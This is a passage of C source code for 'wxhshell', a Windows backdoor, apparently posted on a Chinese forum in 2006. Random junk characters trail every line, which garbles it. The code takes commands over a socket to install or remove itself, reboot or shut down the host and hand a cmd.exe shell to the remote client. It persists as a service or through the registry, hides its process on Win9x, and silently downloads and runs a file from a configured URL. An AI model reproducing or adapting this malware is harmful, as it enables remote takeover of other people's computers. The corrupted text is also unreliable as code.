y@aKNWy}$  
    switch(cmd[0]) { K:a3+k d  
  +f$Z-U1H/  
  // 帮助 ^Et ,TF\  
  case '?': { 8W$L:{ez  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H`5Ct  
    break; x=vK EyS@  
  } ofK='G .  
  // 安装 B j=@&;  
  case 'i': { =]d^3bqN  
    if(Install()) 5W{hH\E _5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W0|_]"K-  
    else tvT4S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eo ?Oir)  
    break; b}}y=zO|$  
    } v8  
  // 卸载 \OA L Or  
  case 'r': { Ih3$  
    if(Uninstall()) |(&oI(l5K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vmtzig3w[  
    else 506V0]`/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F1J#Y$q~L  
    break; ydup)[n  
    } {lMqcK  
  // 显示 wxhshell 所在路径 j-6v2MH  
  case 'p': { 82s 5VQ6  
    char svExeFile[MAX_PATH]; k% NrL@z  
    strcpy(svExeFile,"\n\r"); L20rv:W$h  
      strcat(svExeFile,ExeFile); -$9~xX  
        send(wsh,svExeFile,strlen(svExeFile),0); yfC2^#9 Zu  
    break; *F|+2?a:$  
    } RAwk7F3qn  
  // 重启 nzWQQra|?  
  case 'b': { NnP.k7m)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \imp7}N  
    if(Boot(REBOOT)) pND48 g;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )vQNiik#  
    else { aP_3C_  
    closesocket(wsh); &#-[Y:?lA  
    ExitThread(0); >Zo-wYG  
    } ee^4KKsh\  
    break; jr:drzr{I  
    } |eF.ZC)QWh  
  // 关机 ,H@TYw  
  case 'd': { PU"S;4m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K.%z;( U  
    if(Boot(SHUTDOWN)) 0Gx*'B=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CWBbSGk  
    else { ?R282l  
    closesocket(wsh); Lrlk*   
    ExitThread(0); FCAJavOGH  
    } jceHK l  
    break; @2?=3Wf  
    } ]1tN|ODY*W  
  // 获取shell PF`:1;P U  
  case 's': { m|mG;8}pI  
    CmdShell(wsh); O/$ v69:  
    closesocket(wsh); 9\:w8M X'  
    ExitThread(0); ?;fv!'?%  
    break; GBW 7Y  
  } 9>IsqYc  
  // 退出 'f8 p7 _F  
  case 'x': { qhnapZJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .01TTK*  
    CloseIt(wsh); .T{U^0 )  
    break; 6# R;HbkO  
    } :/~_sJt C  
  // 离开  XtR`?  
  case 'q': { eWw y28t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }FZp 840  
    closesocket(wsh); g&P9UW>qS  
    WSACleanup(); -: C[P  
    exit(1); [RW, {A  
    break; F=V oFmF@  
        } [:BW+6  
  } 0O_E\- =  
  } Q6xgLx[  
;=#qHo9k1%  
  // 提示信息 [|jIC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .N&QW `  
} /%;/pi  
  } ]Px:d+wX:  
XGL"gD   
  return; aK-N}T  
} R4yJ.f  
-^0KE/  
// shell模块句柄 =qan%=0"h  
int CmdShell(SOCKET sock) I ;l`VtD  
{ >"i~ x  
STARTUPINFO si; ~;` fC|)  
ZeroMemory(&si,sizeof(si)); f&f[La  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =w t-YM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JLt{f=`%F  
PROCESS_INFORMATION ProcessInfo; L-SdQTx_  
char cmdline[]="cmd"; RR8U Cv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3EO#EYAHiM  
  return 0; :K?iNZqWN6  
} S`fu+^c v  
hY)YX,f=S  
// 自身启动模式 \A~4\um  
int StartFromService(void) =y`-sU Hx  
{ {XyG1  
typedef struct ^j1Gmv)  
{ +38Lojb}   
  DWORD ExitStatus; Sv~PXi^`H  
  DWORD PebBaseAddress; 4D0(Fl  
  DWORD AffinityMask; ?|\0)wrRf  
  DWORD BasePriority; DM+sjn  
  ULONG UniqueProcessId; aIY$5^x  
  ULONG InheritedFromUniqueProcessId; 9[B<rz  
}   PROCESS_BASIC_INFORMATION; E\W;:p,{A  
>I{4  
PROCNTQSIP NtQueryInformationProcess; P^i6MZ?   
l^)o'YS y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HdDo&#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !N@Yh"c  
Z8N@e<!*~8  
  HANDLE             hProcess; "~B~{ _<j  
  PROCESS_BASIC_INFORMATION pbi; ^Jc$BMaVg  
&?&'"c{;m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MA l{66  
  if(NULL == hInst ) return 0; AN50P!FZW  
 zgZi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PpI+@:p[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K#%O3RRs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qFB9,cUqh  
b6 J2*;XG  
  if (!NtQueryInformationProcess) return 0; RRK^~JQI.2  
M p}!+K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Nu>sp,|A  
  if(!hProcess) return 0; +F#=`+V  
BHIZHp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 17?NR\Q  
7] R6  
  CloseHandle(hProcess); 1==P.d(  
N4[ B:n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ayB=|*Q"  
if(hProcess==NULL) return 0; _:/Cl9~  
\3J+OY  
HMODULE hMod; g6tWU  
char procName[255]; f]O5V$!RuE  
unsigned long cbNeeded; 5M/%%Ox  
g wZ+GA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~GsH8yA_P  
ZdJVs/33Vn  
  CloseHandle(hProcess); {m1t~ S   
'M]CZ}  
if(strstr(procName,"services")) return 1; // 以服务启动 h+ `J=a|\  
5x93+DkO\  
  return 0; // 注册表启动 eP-R""uPw  
} r? 6Z1  
8+@1wks  
// 主模块 8,Q. t7v  
int StartWxhshell(LPSTR lpCmdLine) \rB/83[;u  
{ 7M&.UzIY`  
  SOCKET wsl; a,F8+ Pb>  
BOOL val=TRUE; 81%qM7v9H  
  int port=0; WHdqO8  
  struct sockaddr_in door; j};pv2  
>vNk kxWyQ  
  if(wscfg.ws_autoins) Install(); 8VBkIYgb  
v)v{QNQp^  
port=atoi(lpCmdLine); a!SR"3 k  
KBUAdpU8  
if(port<=0) port=wscfg.ws_port; 83p$!8]u  
0e7O#-  
  WSADATA data;  h;:Se  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g(z#h$@S  
^"6D0!'N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =B ,_d0Id  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d6Q :{!Sd"  
  door.sin_family = AF_INET; 8_sU8q*s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~0Q\Lp);  
  door.sin_port = htons(port); :c+a-Py $E  
N`L' 4v)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uj+.L6S  
closesocket(wsl); wUZ(Tin  
return 1; &j wnM  
}  \!' {-J  
~]i]kU   
  if(listen(wsl,2) == INVALID_SOCKET) { gn4g 43  
closesocket(wsl); ` i^`Q  
return 1; ?()E5 4y  
} *n$m;yI  
  Wxhshell(wsl); z!Pdivx  
  WSACleanup(); }hObtAS  
(pRy1DH~  
return 0; S{`!9Pii  
f0fqDmn  
} 4,R\3`b  
xYzcV%-Pm  
// 以NT服务方式启动 t0AqGrn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S3JygN*  
{ dKN3ZCw*gF  
DWORD   status = 0; TnZc.  
  DWORD   specificError = 0xfffffff; l,FG:"`Z@  
iA{chQBr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aF4V|?+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [ XY:MU e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r)Mx.`d!  
  serviceStatus.dwWin32ExitCode     = 0; 3<1HqU  
  serviceStatus.dwServiceSpecificExitCode = 0; R;Ix<y{U  
  serviceStatus.dwCheckPoint       = 0; DlQ[}5STF  
  serviceStatus.dwWaitHint       = 0; C>(M+qXL+  
*Tlws  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /n<Ncf  
  if (hServiceStatusHandle==0) return; 9O 0  
j{Qbzczy,  
status = GetLastError(); jW+VUF-t  
  if (status!=NO_ERROR) }1^ tK(Am  
{ ?6l,   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3vvFF]D5k  
    serviceStatus.dwCheckPoint       = 0; $4ZDT]n  
    serviceStatus.dwWaitHint       = 0; #\!hBL @b  
    serviceStatus.dwWin32ExitCode     = status; "l2N_xX;  
    serviceStatus.dwServiceSpecificExitCode = specificError; [7 Kj$PB3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gWU(uBS  
    return; q_m#BE;t  
  } WTy8N  
e[VJ0 A=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /v5g;x_T  
  serviceStatus.dwCheckPoint       = 0; JD\-X(O  
  serviceStatus.dwWaitHint       = 0; ;]`NR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3Jk?)D y  
} :N'[d e  
h}VYA\+<B  
// 处理NT服务事件,比如:启动、停止 l.W1$g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x.4)p6  
{ ` a<|CcUGU  
switch(fdwControl) @0@'6J04  
{ W2o8Fu   
case SERVICE_CONTROL_STOP: `efH(  
  serviceStatus.dwWin32ExitCode = 0; hcqmjqJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %+OPas8C  
  serviceStatus.dwCheckPoint   = 0; c K}  
  serviceStatus.dwWaitHint     = 0; V~^6 TS(  
  { _$jJpy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !E.l yz  
  } [8J}da}  
  return; Zo638*32  
case SERVICE_CONTROL_PAUSE: p=5H^E m1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MAhPO!e5.  
  break; $R#L@iL-  
case SERVICE_CONTROL_CONTINUE: 8@C|exAD`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4>tYMyLt0  
  break; $!3t$-TSD  
case SERVICE_CONTROL_INTERROGATE: gS o(PW)  
  break; I`}vdX)  
}; e^fKatI1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $A!h=]  
} v(nQd6;T  
(R 2P< Zr  
// 标准应用程序主函数 R"kE5 :  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R8W4 4I*R:  
{ l$ _+WC*wp  
l?<z1Acd&  
// 获取操作系统版本 z{M,2  
OsIsNt=GetOsVer(); n[w,x;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9p'J(`  
ny? m&;^r:  
  // 从命令行安装 IF?B`TmZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); N %/DN  
V$F.`O!hfi  
  // 下载执行文件 *gpD4c7A\  
if(wscfg.ws_downexe) { )aA9z(x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !5 :[XvI#  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5qB=@O]|G;  
} u#k6v\/  
o)D+qiA3U  
if(!OsIsNt) { dGW7,B~  
// 如果时win9x,隐藏进程并且设置为注册表启动 u4^"E+y^S  
HideProc(); 8}E(UsTa  
StartWxhshell(lpCmdLine); "9T`3cM0  
} U4I` xw'  
else Oqe.t;E 0}  
  if(StartFromService()) =Bqa <Js  
  // 以服务方式启动 ~acK$.#  
  StartServiceCtrlDispatcher(DispatchTable); B91PlM.  
else \osQwGPV  
  // 普通方式启动 m-FDCiN>  
  StartWxhshell(lpCmdLine); Q3{&'|}^2  
e(% Solkm?  
return 0; 1Moh`  
}
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只看该作者 1 发表于: 2006-10-10
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